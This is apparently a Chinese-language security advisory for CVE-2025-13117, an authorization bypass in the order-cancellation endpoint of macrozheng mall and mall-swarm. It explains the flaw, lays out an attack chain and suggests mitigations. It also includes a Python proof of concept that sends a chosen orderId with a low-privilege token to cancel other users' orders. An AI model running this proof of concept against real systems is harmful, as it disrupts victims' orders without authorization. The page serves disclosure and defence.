IPBUF安全漏洞报告
English
CVE-2025-13117 CVSS 5.4 中危

CVE-2025-13117 | macrozheng mall 订单取消功能授权绕过漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13117
漏洞类型
授权绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
macrozheng mall-swarm, macrozheng mall

相关标签

授权绕过业务逻辑漏洞macrozheng mallmall-swarm订单处理OWASP Top 10CVE-2025-13117

漏洞概述

CVE-2025-13117是macrozheng mall项目中存在的一个中危授权绕过漏洞。该漏洞影响mall和mall-swarm产品,版本最高至1.0.3。漏洞位于订单取消功能(cancelOrder)中,攻击者可以通过操纵orderId参数,在低权限状态下远程取消任意用户的订单,而无需具备相应的授权权限。此漏洞属于OWASP Top 10中的Broken Authorization类别,表明应用程序在执行敏感操作时未能正确验证用户的操作权限。漏洞已于2025年11月13日公开披露,且相关利用代码已公开,厂商在收到通知后未做出任何回应。由于该漏洞可被远程利用且无需高权限,对使用受影响版本的企业和个人用户构成安全风险,可能导致业务逻辑混乱、用户数据泄露等问题。

技术细节

该漏洞属于业务逻辑层面的授权绕过问题。在macrozheng mall的订单取消接口(/order/cancelOrder)中,程序未能正确验证当前登录用户与待取消订单的归属关系。攻击者仅需提供有效的orderId参数值,即可触发取消订单操作,而系统未检查该订单是否属于当前认证用户。漏洞利用条件如下:攻击者需具备有效账户(低权限即可),能够访问订单取消接口,且需知晓或猜测目标订单ID。由于API缺乏用户-订单绑定验证,攻击者可构造恶意请求取消其他用户的订单。攻击可远程发起,无需特殊网络位置或高权限账户。修复方案应包括:在取消订单逻辑中增加当前用户ID与会话用户ID的匹配验证,确保只有订单所有者才能取消自己的订单。

攻击链分析

STEP 1
步骤1
攻击者注册低权限账户并登录系统,获取有效访问令牌(token)
STEP 2
步骤2
攻击者通过信息收集获取目标用户订单ID(如通过API枚举、订单查询接口或社工手段)
STEP 3
步骤3
攻击者构造恶意POST请求到/order/cancelOrder接口,在请求体中指定目标orderId参数
STEP 4
步骤4
服务器端未验证当前用户与订单的归属关系,直接执行订单取消操作
STEP 5
步骤5
目标用户订单被成功取消,导致业务逻辑混乱、用户体验受损

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13117 PoC - macrozheng mall Authorization Bypass # Target: mall-swarm / mall up to version 1.0.3 # Vulnerability: Improper Authorization in /order/cancelOrder target_url = "http://target-server/api/order/cancelOrder" # Authenticated session with low-privilege account headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" # Replace with valid token } # Malicious payload - manipulate orderId to cancel other users' orders payload = { "orderId": 123456 # Replace with target order ID to cancel } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('success') or result.get('code') == 200: print("[+] Order cancellation successful - Authorization bypass confirmed") print(f"[+] Response: {result}") else: print("[-] Request failed or order not found") else: print(f"[-] HTTP {response.status_code}: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

macrozheng mall < 1.0.3
macrozheng mall-swarm < 1.0.3

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时措施:1) 在应用层防火墙(WAF)中添加针对/order/cancelOrder接口的访问监控和速率限制;2) 禁用或限制该接口的外部访问;3) 启用详细的访问日志记录以便及时发现异常取消操作;4) 考虑临时关闭订单取消功能并提供人工客服渠道处理退单请求;5) 实施IP白名单策略限制管理接口访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表